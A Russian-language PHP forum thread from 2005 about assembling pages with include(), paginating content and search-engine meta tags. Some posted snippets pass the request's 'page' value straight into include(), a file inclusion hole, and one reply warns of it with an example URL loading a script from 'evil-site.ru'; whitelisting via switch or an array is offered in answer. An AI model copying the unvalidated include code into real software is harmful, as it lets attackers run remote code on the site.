Модераторы: skyboy, MoLeX, Aliance, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Сборка страницы include'ами, И индексация поисковиками 
:(
    Опции темы
Jey_k
Дата 19.9.2005, 10:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Суть такова. Страницы сайта index.php, soft.php, hard.php собираются следующим образом

Код

<html>
...
<meta....
...
include ("left_menu.php");//файл с содержанием левой колонки
include ("main_soft.php");// main_soft.php файл с основным содержанием определенного раздела
</html>


мне интересно как будет индексировааться такой ресурс и будет ли вообще. Основная информация генерируется скриптами main_*.php но отображение осуществляют index,soft,hard и прочие .php которые являют собой склейки меню и информационнного окна. Индексация нужна только страниц index,soft,hard но ни в коем случае не кусков main_*.php


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 19.9.2005, 13:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Будут если подключать в индексный файл и для каждой страницы генерировать свой ключи, ключевые слова и т.д.
Код

<?
include "includes/title.php";
<html>
<head>
<Meta http-equiv="content-type" Content="text/html; charset=Windows-1251">
<Meta name="Keywords" Content="<? echo $keywords[$page]; ?>">
<Meta name="Description" Content="<? echo $description[$page]; ?>">
<title><? echo $title[$page] ?></title>
</head>
<body topmargin="0" leftmargin="0" bottommargin="0">
<? include
        "includes/top.php" #подключаем верх и лево

?>
<?
        include "pages/".$page.".php" # подключаем основу, то что меняется
        ?>
<?
include "includes/bottom.php" # подключаем низ и право
?>
</body>
</html>



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 19.9.2005, 13:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Пасиб!!! Ещё вопрос вдогонку по той же теме.

Как реализовать весчь, чтобы по клику на ссылке в левом меню подгружалась как раз эта нужная $page в Include а не какая-нибудь страница целиком?


--------------------
PM MAIL WWW   Вверх
Jey_k
Дата 19.9.2005, 14:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



О! Реализовал вот так:

index.php
Код

<?php
  include ("left.php");
  if ($page=="") 
  {
    showpage("main.php");
   }
  else
   {
     showpage($page);
    }

function showpage($page)
 {
   include $page;
  };
  ?>


Теперь ссылки с левого меню делаем такими: ...index.php?page=news.php

Это нормально или криво? Если есть способ эффективней, то рад буду посмотреть. Не бейте ногами только осваиваю php smile

Это сообщение отредактировал(а) Jey_k - 19.9.2005, 14:58


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 19.9.2005, 15:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Код

if (!$page) $page="about"; # с этой страницы стартует сайт, т.е. если $page не существует
if (!$title[$page]) $page="404"; # если такой страницы нет на севере

Ссылки будут выглядеть вот так:
Код

index.php?page=news

расширение лишнее.
Для подключения ключевых слов для каждой страницы, используй следующее:
Код

$title['about']="Название страницы";
$keywords['about']="Укажите поисковикам, по каким словам им осуществлять поиск информации, содержащейся на Вашей странице. Не пишите в этом тэге одних и тех же слов. Длинна списка до 800 символов. ";
$description['post']="Текст, который Вы укажите в этом теге, будет отображаться поисковиками. Длинна описания не должна превышать 200 символов. ";

Для остальных своих страниц напиши сам.
Говорят что эти правила необходимо соблюдать, по количеству слов.


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 19.9.2005, 15:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Ну респектище тебе просто огромное smile
Добавлено @ 15:20
Цитата(PARROT @ 19.9.2005, 15:13)
код PHP
1:
index.php?page=news

расширение лишнее.

На локальной машине понимать не хочет, только с расширением. Наверное просто апач старый и интерпретатор тоже.



--------------------
PM MAIL WWW   Вверх
Mal Hack
Дата 19.9.2005, 15:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Jey_k @ 19.9.2005, 15:14)
О! Реализовал вот так:

Это несколько не правильно с точки зрения безопасности. Тут лучше что-ть типа этого:
Код

switch( $_GET['page'] )
 {
  case "1": include( "1.php" );
  case "2": include( "2.php" );
  case "3": include( "3.php" );
  default: include( "main.php" ) ;
 }



Цитата(Jey_k @ 19.9.2005, 15:14)
  if ($page=="")

Лучше через empty проверять.

Плюс не забывай про глобальные массивы $_GET, $_POST.

PM ICQ   Вверх
Jey_k
Дата 19.9.2005, 22:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(Mal @ 19.9.2005, 15:32)
Лучше через empty проверять.

Плюс не забывай про глобальные массивы $_GET, $_POST.

Вот это бы да с примерчиком smile
Цитата(Mal @ 19.9.2005, 15:32)
Тут лучше что-ть типа этого:


switch( $_GET['page'] )
{
  case "1": include( "1.php" );
  case "2": include( "2.php" );
  case "3": include( "3.php" );
  default: include( "main.php" ) ;
}


Тогда адресовать страницы так: ...index.php?page=1 ?


--------------------
PM MAIL WWW   Вверх
Mal Hack
Дата 19.9.2005, 22:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Jey_k @ 19.9.2005, 23:04)
Тогда адресовать страницы так: ...index.php?page=1 ?

Как хочешь.
Просто ты должен в case нужное значение прописать. Это избавит от ошибки подгрузки других файлов.

PM ICQ   Вверх
Bikutoru
Дата 20.9.2005, 08:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Кстати, вместо switch'а можно использовать массив
Код

//Подключаемые страницы
$_PAGES = array ("main" => "modules/main.php", "news" = "modules/news.php", "guestbook" => "gb/main.php");

//Непосредственно подключение
$mod = empty($_GET["mod"])? "main": $_GET["mod"];
if (isset($_PAGES[$mod]) && file_exists($_PAGES[$mod]))
    include $_PAGES[$mod];

Теперь управление списком подключаемых страниц становится малость поудобнее...

Это сообщение отредактировал(а) Bikutoru - 20.9.2005, 08:30


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Mal Hack
Дата 20.9.2005, 09:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Bikutoru @ 20.9.2005, 09:26)
Теперь управление списком подключаемых страниц становится малость поудобнее...

Не сказал бы. Это на любителя и на задачу.
PM ICQ   Вверх
Jey_k
Дата 20.9.2005, 10:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



В принципе там не так много траниц. Воспользуюсь наверное кейсом. Но вариант с массивом запишу.


--------------------
PM MAIL WWW   Вверх
Bikutoru
Дата 20.9.2005, 11:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Не спорю.

Цитата(Mal @ 20.9.2005, 10:31)
Это на любителя ...

Мне, например, лень кучу раз писать include в switch'е.

Цитата(Mal @ 20.9.2005, 10:31)
... и на задачу

Если это подключение необходимо делать в нескольких местах, то лучше будет иметь один список подключаемых файлов, но это при условии, что файлы и там и тут одни и те же. А вот если они различны... switch нам поможет smile




--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Мастер
Дата 20.9.2005, 12:25 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Код открытия файлов через "?page".
Код

<?
If ($_GET['page'] == "" or $_GET['page'] == "main") {
include("maincontentfile.php");
}
else {
include($_GET['page'].".php";
}
?>

  Вверх
Bikutoru
Дата 20.9.2005, 13:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Мастер, так делать не надо. Ведь и такая штука прокатить может:

inc.php?page=http://evil-site.ru/evil_script


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Jey_k
Дата 20.9.2005, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(Bikutoru @ 20.9.2005, 13:08)
inc.php?page=http://evil-site.ru/evil_script

И подгруженый скрипт может выполнить на моем хосте всякие нехорошие...?


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 14:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Да, но там же написано, что если такой page нет, то даем 404 страницу, которая создается в движке.



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 14:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Вознила тут же трабла с передачей параметров.
Так индексный файл берет left.php и main.php, но мне надо взять не просто main а с параметром, например, main.php?block=1

Сделано для реализации постраничного вывода.
В самом main.php строится линейка
Код

$file=fopen("main/count.dat","r");
    $lim=fread($file,4);
    fclose($file);
    if ($lim>4) 
    {
     $pages=ceil($lim/4);
     $s=1;
     For ($i=1;$i<=$pages;$i++)
     {
      echo"[ <a href='main.php?block=".$i."'>".$i."</a> ]";
      $s=$s+4;
     }
    }


А далее в файле на основании значения переменной $block читаются данные из файлов и строится таблица.

Как быть? Include в index.php ругается при этом сильно и собирать страницу отказывается


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 15:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Ну чего то из этой оперы, попробуй.
Код

if (!isset($s)) $s=1;
    $a=file("main/count.dat");
    $num=count($a);
$numstr=ceil($num/4);
    $a=array_reverse($a);
echo "<table><tr><td>Страницы: ($numstr)</td>";
for($i=1; $i<=$numstr; $i++){
             if ($i==$s OR ($s==0 AND $i==1))
$st="<a href='main.php?s=$i><font color=red>[$i]</font></a>";  else $st="<a href=main.php?s=$i><font color=blue>[$i]</font></a>";
        print "<td>".$st."</td> ";

Что конкретно не получается с движком? Могу создать запаковать и прислать. smile


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 16:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Да линейку, то строит без проблем. Я не знаю какую ссылку ставить на элементы линейки.
Другими словами к какой странице отсылать при клике на элемент линейки.

Сама линейка и чтение с выводом происходят в одном файле.

т.е. сейчас мы на странице index.php?page=main.php но мне нужно main.php с параметром block=1, а ссылку типа index.php?page=main.php?block=1 интерпретатор не понимает.
Добавлено @ 16:06
Цитата(PARROT @ 20.9.2005, 15:32)
Что конкретно не получается с движком? Могу создать запаковать и прислать.

Он благополучно пришел. Знакомлюсь. Сейчас бьюсь головой об стол. Никак с этими параметрами не получается.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 16:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



А.........у нас расширение уже есть, зачем еще раз?
Код

index.php?page=main&block=1



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 16:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(PARROT @ 20.9.2005, 16:21)
у нас расширение уже есть, зачем еще раз?

Без этого не понимает. А если через & то параметр разве не в index.php передастся?


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 17:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Jey_k, просто такого не бывает.
Код

index.php?page=main&block=1&vasya=minus

Расширение может быть только один раз.
Мы подключаем все в индех, а потом меняем середину.
Код

main.php?page=main&block=1&vasya=minus

То что идет после амперсанд, это варианты этой же страницы. (незнаю как обозвать правильно).
Например:
Код

//вот так мы вызываем саму страницу, основную
main.php?page=main
//так мы вызываем ту же страницу уже с параметрами
main.php?page=main&block=1
//а так мы напимер открываем на той же странице форму для отправки письма:
main.php?page=main&block=1&mode=send
//где условием будет
if($mode=="send"){
//тут вывод формы
}

Помоему ты запутался напрочь. Почитай внимательно,то что я тебе прислала. smile
Внимательно! Сначала нарисуй как там, потом борись с безопасностью и добавь везде глобалку, а потом если не запутаешься до этого шага, все сложится как ни есть хорошо. smile

Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:05


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 17:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата
Warning: Failed opening 'main' for inclusion (include_path='') in c:\program files\apache group\apache\htdocs\index.php on line 19

при попытке ввести http://localhost/index.php?page=main

Конкретизирую систему

Файл index.php:
Код

include "left.php";
include ($page);


Чтоб отобразить в качестве главного окна файлы soft.php hard.php main.php передаем их как параметры вот так index.php?page=main.php
Без расширения Напрочь отказывается.

В файле main.php сначала идет построение линейки, затем загрузка и отображение данных.
Данные подгружаются на основании значения переданного параметра $block.
Другими словами мне надо дать понять индексному файлу, что нужно подгрузить страницу main.php с параметром block=1. index.php?page=main.php&block=1 по всей логике передает параметр в индех или он автоматически отправится и к майн и всем прочим подключаемым страницам?

Пока не получается.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 17:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Jey_k, глянь почту. smile
Код

index.php?main=page// это страница
//что находится в параметре block=1?
index.php?main=page&block=1//что передается этим параметром? Твой case? Забудь про него на время хотя бы. Иначе топик никогда не закончится. Давай разберемся сначала с простыми вещами.  :) 


Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:51


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 17:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Загружается. smile
Экспериментально при помощи echo установил, что параметр block при таком вызове в страницу main.php не попал smile
Добавлено @ 17:56
Цитата(PARROT @ 20.9.2005, 17:40)
что передается этим параметром? Твой case?

Давай так. Есть 5 блоков информации. На страницу должно выводиться по 4.
Получается 2 страницы [1] и [2], эти цифры отображаются в линейке. Щелкаем по 1 загружаются первые 4, щелкаем по 2 старые 4 исчезают и загружается оставшийся 5-й блок.

параметр block усанавливает откуда начинать вывод, так при его значнии 2

установится что вывод начинать прокрутив 4 строки в листе заголовков, ну и прочие числовые параметры рассчитаются.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 18:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Если щелкнуть по второй, должен грузиться 2 блок инфы.
Почему пятый? Пять блоков, по четыре сообщения, итого 20 сообщений и 5 страниц инфы. Да?
Так... этот blok=1 должен выскакивать на страницу, при нажатии на страницу вывода инфы №1, если block=2 то 2.



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 18:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



не получается почту загрузить.


то что я пытаюсь выяснить это больше к постраничному выводу


--------------------
PM MAIL WWW   Вверх
Jey_k
Дата 20.9.2005, 18:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



получил. Странно, там работает...


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 19:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Цитата(Jey_k @ 20.9.2005, 19:22)
получил. Странно, там работает...

Ну вот странно, посмотри внимательно, можешь для проверки повставлять свою инфу туда, когда поймешь смысл, соберешь свой двигатель. А потом уже будешь ...


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 21.9.2005, 12:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Все заработало. Причина была в следующем:
Если include внутри функции, то параметры переданные командной строкой, как говорилось выше, странице, подключаемой этим include, не передадутся.


--------------------
PM MAIL WWW   Вверх
boombick
Дата 23.9.2005, 07:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 305
Регистрация: 20.4.2005
Где: Moscow, Russia

Репутация: 2
Всего: 9



Цитата(PARROT @ 19.9.2005, 15:13)
расширение лишнее.
Для подключения ключевых слов для каждой страницы, используй следующее:
Код

$title['about']="Название страницы";
$keywords['about']="Укажите поисковикам, по каким словам им осуществлять поиск информации, содержащейся на Вашей странице. Не пишите в этом тэге одних и тех же слов. Длинна списка до 800 символов. ";
$description['post']="Текст, который Вы укажите в этом теге, будет отображаться поисковиками. Длинна описания не должна превышать 200 символов. ";

Для остальных своих страниц напиши сам.
Говорят что эти правила необходимо соблюдать, по количеству слов.

Немного оффтопик, но в заголовке темы был вопрос про индексацию...
Так вот, такая практика получила название "дорвей"... Т.е. когда поисковому роботу в зависимости от запроса выдается страница с необходимым списком ключевых слов... Пользователь заходит и получает редирект на освной сайт... В данном случае такого нет, но поисковики довольлно хорошо научились распознавать дорвеи.. И посему сайт может быть вообще исключен из индекса, как использующий спам.
Посему ичспользуйте только белые методы и читайте http://forum.searchengines.ru


--------------------
Все вышесказанное - имхо, и на истину в последней инстанции не претендует
------
UNIX and other
PM MAIL WWW ICQ   Вверх
PARROT
Дата 23.9.2005, 08:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



boombick, тут для каждой страницы пишется свое название, свои ключевые слова и слова по которым поисковик выдает сайт по запросу пользователя.
Для Васи-о Васе
ключ: Вася, василек, цветок, Василий и т.д.
в тексте: Вася...... и т. д.
Где тут черный метод? Слова соответствуют оперделенному количеству, не более чем положено.





--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
boombick
Дата 23.9.2005, 11:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 305
Регистрация: 20.4.2005
Где: Moscow, Russia

Репутация: 2
Всего: 9



Я же написал, что в данном случае такого нет... smile
Просто предупредить...


--------------------
Все вышесказанное - имхо, и на истину в последней инстанции не претендует
------
UNIX and other
PM MAIL WWW ICQ   Вверх
PARROT
Дата 23.9.2005, 11:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



boombick, Спасибо, учтем.


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
ROMLEX
Дата 10.10.2005, 16:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 26.9.2005

Репутация: нет
Всего: нет



Привет! Не могли бы вы пояснить как вставлять название блока , ячейкой выше, в таблицу куда вставляется непосредственно сам блок
вот посмотрите...

http://www.vengria-magazine.com/portal/

у меня есть несколько страниц в досуге"дискотеки, бани, гольф"
Словом каждомой странице я бы хотел дать по заглавию и чтоб оно авоматом вставлялось в строку " НАЗВАНИЕ СТРАНИЦЫ! "


Зарание благодарен.
PM MAIL   Вверх
ConstantinXXX
Дата 28.12.2008, 19:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 246
Регистрация: 27.5.2006
Где: U.S.A. :-)

Репутация: нет
Всего: 0



switch( $_GET['page'] )
 {
  case "1": include( "1.php" ); break;
  case "2": include( "2.php" ); break;
  case "3": include( "3.php" ); break;
  default: include( "main.php" ) ; break;
 }

а насчет индексации, что не надо индексировать то просто <noindex> Здесь текст не индексируеться поисковиками </noindex>
--------------------
Как вы относитесь к девушкам, которые курят сигареты?Как не ослепнуть за компьютером© ORENCODE.info
PM MAIL WWW   Вверх
Страницы: (3) [Все] 1 2 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0827 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.